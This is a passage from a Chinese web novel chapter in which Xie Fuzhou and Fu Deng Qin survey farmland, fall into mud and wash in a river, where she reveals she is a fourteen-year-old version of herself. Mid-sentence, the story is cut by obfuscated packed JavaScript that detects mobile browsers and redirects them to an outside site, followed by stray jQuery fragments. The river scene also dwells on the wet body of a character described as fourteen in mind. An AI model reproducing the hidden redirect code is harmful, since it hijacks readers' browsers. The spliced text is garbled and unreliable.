略过这个话题,谢覆舟转而问道:“不知二位下榻在哪家客栈?我派人送些日用物品过去。”
萧春和眼波流转,顺势接口,看似替公孙止解围,实则又将他往“谢府”推了近一步:“有劳谢督政挂心。我们刚到,还未寻定客栈。如今外面局势纷乱,寻个稳妥住处也难,若是方便……”
谢覆舟闻言,面上闪过一丝极细微的迟疑,但话已至此,也确实不好推辞,只得点头:“既如此,若二位不嫌敝府.....,便请在客院暂住吧。我这就让管家安排。”
“那便叨扰了。”公孙止压下心头复杂情绪,恢复温文仪态,拱手道谢。
午后,公孙止与萧春和在衙署外简单用了午饭。
回府路上,萧春和兴致颇高,沿途见到卖零嘴小食的铺子,便停下脚步,饶有兴致地挑拣购买,不一会儿手里便提了好几个油纸包。
公孙止看着与平日沉稳形象不符的她,不禁问道:“不急着去见景明?”
萧春和晃了晃手中的零食包,笑容里带着几分真实的暖意:“这些就是买给他的。他小时候就馋这些零嘴。”
二人提着大包小包回到谢府,再次被眼前的景象弄得一怔。
只见府内比衙署更甚,几乎处处都在动工,凿地垒石,铺设管道,工匠杂役穿梭不息,喧闹非凡。
萧春和瞪大了眼,努力在灰头土脸忙碌的人群中寻找弟弟的身影。
忽然,她看到一个背影与萧景明极为相似的青年正弯腰搬着石块,心中一喜,连忙上前,拍了拍那人的肩膀:“景明?”
那人回过头来,却是一张完全陌生的、布满汗水和灰尘的脸,茫然地看着她。萧春和顿时尴尬不已。
幸好管家及时赶来,额上带着薄汗,连连告罪:“二位贵客恕罪,府上近日工程杂乱,慢待了慢待了!请随小的来,住处已经安排好了。”
将二人引至一处较为清静的客院安置妥当后,管家便欲告辞。
公孙止唤住他,语气温和却带着一丝不易察觉的急切:“请问,秦儿姑娘此刻可在府中?若方便,我想见她一面。”
管家脸上露出为难之色,搓了搓手回道:“先生来的不巧,秦儿姑娘一个时辰前就被督政接出去了,说是去城外察看什么水渠,顺便……就在外面用饭了。”
“可知何时回来?”公孙止追问。
“估摸着……得到晚上了吧。”
管家答道:“督政吩咐了,若是先生有事,可等姑娘回来再……”
公孙止默然片刻,终是缓缓道:“无妨,我等她回来便是。”
管家这才行礼退下。
屋内,公孙止静立窗前,望着窗外依旧喧闹的谢府,夕阳余晖将他身影拉得细长,平添几分寂寥。
萧春和拆开一包蜜饯,靠在门边,看着他背影,轻轻摇了摇头,将一颗杏脯放入口中,酸甜滋味漫开,却品不出是何心绪。
——
谢覆舟并未在衙署久留,公务暂歇的间隙,便真领着扶登秦出了城。
城郊的农田一望无际,新绿的秧苗在春风中微微摇曳,远处可见农人正弯腰忙碌,一派生机盎然。
谢覆舟勒马停下,伸手指向远处一片地势稍低、略显潮湿的田块,对身旁的扶登秦道:
“瞧见那边了么?每逢春夏雨水稍多,那一片便积水难排,庄稼容易烂根。往年也试着挖过几条土沟,但效果不彰,反而更易淤塞。”
他侧过头看她,日光落在他轮廓分明的侧脸上,语气是商议正事般的平稳:“你不是擅画水利机巧图么?可能想出个更好的法子,一劳永逸?若能有把握成,我拨人拨钱与你,这整片农田的灌溉排水工程,都交予你管辖督造。如何?”
扶登秦顺着他指的方向望去,眼眸顿时亮了起来。
她看得极为认真,眉心微蹙,指尖无意识地在空中虚拟勾画着沟渠走向,口中喃喃计算着高差与水流速度。
片刻后,她猛地转过头,脸上是掩不住的兴奋与难以置信,声音都拔高了些:“真的可以吗?这么大一片田,就……就交给我一个人管啦?”
谢覆舟看着她那双骤然被点亮的眸子,仿佛盛满了细碎的阳光,心头莫名一软,点了点头:“嗯,交给你。”
“太好了!”
扶登秦欢喜得几乎要跳起来,下意识就想往那片田里跑去看个仔细。
谁知田埂土质松软,扶登秦一脚踩偏,身体瞬间失去平衡,惊呼一声,整个人向前扑去——
“小心!”谢覆舟脸色一变,疾步上前伸手欲拉她。
可他情急之下也踩中了同一处松软泥地,非但没拉住,自己脚下也是一滑,“噗通”一声,竟被带得一同摔了下去!
两人狼狈地滚作一团,齐齐栽进田边蓄水的泥洼里。
泥水四溅,瞬间浸透了衣衫。
谢覆舟反应极快,立刻坐起身,也顾不得自己满手满脸的泥浆,急忙先去扶她:“摔着没有?可有伤到?”
扶登秦被摔得懵了一瞬,呆呆地坐在泥水里,抹了一把脸上的泥点。
她低头看看自己彻底变成泥色的衣裙,又抬眼看向同样狼狈不堪、连发冠都歪了、正往下滴着泥水的谢覆舟,忽然“噗嗤”一声笑了出来。
她越笑越厉害,最后干脆指着谢覆舟的脑袋,笑得前仰后合:“哈哈哈……夫君……你的头……你的发冠……好像、好像顶了一坨……哈哈哈……”
她笑得说不出完整的话,十四岁的心性只觉得这情景滑稽极了,全然忘了生气或尴尬。
谢覆舟原本还提着心,生怕这位“少司空”因此冷脸动怒,此刻见她笑得眼泪都快出来,毫无阴霾,那点担心悄然消散,竟也跟着无奈地摇了摇头,唇角牵起一丝自己都未察觉的笑意。
他抹了把脸上的泥水,叹道:“罢了。我知道附近有条小河,先去洗一下。”他站起身,又朝她伸出手。
扶登秦就着他的力道爬起来,眼睛还弯着:“好呀。我也喜欢玩水。”
阿鑫早已机灵地赶着马车跟过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259596|177254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,见状赶紧从车里取出备用的干净衣物,小跑着送到河边,又红着脸飞快地退得远远的背过身去——那位“江姑娘”已经毫不在意地蹚进水里,开始清洗手臂上的泥污了,衣裙湿透贴在身上,曲线隐约可见。
谢覆舟则坐在靠近岸边的浅水处,沉默地清洗着手上和脸上的泥垢。
河水清凉,稍稍驱散了方才的窘迫。
忽然,一阵水声哗啦。
扶登秦游了过来,递给他一根不知从哪儿扯来的、一头稍微尖细的树枝:“喏,用这个,可以把你发冠缝里的泥挑出来。”
她眼神清澈,全然不觉此刻湿衣贴身有何不妥。
谢覆舟接过树枝,道谢的话还未出口,视线不经意间掠过她浸在水中的胸前,湿透的夏衣几乎透明,紧贴着少女微微起伏的曲线,一片白腻刺目。
他喉头一紧,耳根瞬间烧得滚烫,猛地别开脸,声音有些发僵:“……你……离我远些洗。”
扶登秦不解地眨眨眼,反而又凑近了些:“为什么?我们不是未婚夫妻吗?”她语气坦荡自然,反而衬得他的回避有些莫名其妙。
谢覆舟深吸一口气,忽然转回头,目光沉沉地看向她,声音低了下去,带着一种复杂的认真:“你明明知道你不是……江秦儿。”
扶登秦脸上的笑意霎时僵住,眼神闪烁了一下,下意识地就要心虚躲闪,支支吾吾道:“我……我……”
可下一秒,她忽然反应过来,挺直了背脊,理直气壮地瞪回去:“不对!明明是你先骗我的!我本来也不是什么江秦儿啊!”
水花随着她的动作溅起。
谢覆舟凝视着她,忽然问道:“那你也根本不是扶登秦。你究竟是谁?”
“我就是扶登秦!”她像是被踩了尾巴,大声反驳,用力拍打着水面,溅起更多水花。
“你不是。”
谢覆舟的语气却异常平静,他列举着:“扶登秦不会因为能主持一个工程就高兴得摔进泥坑,不会笑得毫无顾忌,不会……不会这样毫无防备地在水里靠近一个男人,更不会用这种眼神看我。”
他顿了顿:“她看我的眼神,总是带着审视、距离,还有……不甘和较量。”
扶登秦听着他的话,脸上的激动渐渐平息下去。
她看着他,看了很久,河水在她身边静静流淌。
最终,她像是终于放弃了挣扎,肩膀微微垮下来,声音变得很轻,带着点困惑,又有点认命:
“我是扶登秦。”
她抬起头,直视着他:“只不过是……十四岁的扶登秦。”
谢覆舟闻言,猛地怔住。
下一秒,他毫无征兆地整个人沉入水中,只留下一串气泡咕噜咕噜地冒上来。
扶登秦吓了一跳,懵然地看着那圈涟漪:“喂?谢覆舟?你干嘛?说话呀!给点反应!”
她着急地游过去,伸手去薅他沉下去的地方。
突然,一双手臂从水下伸出,猛地环住了她的腰,将她紧紧抱入怀中!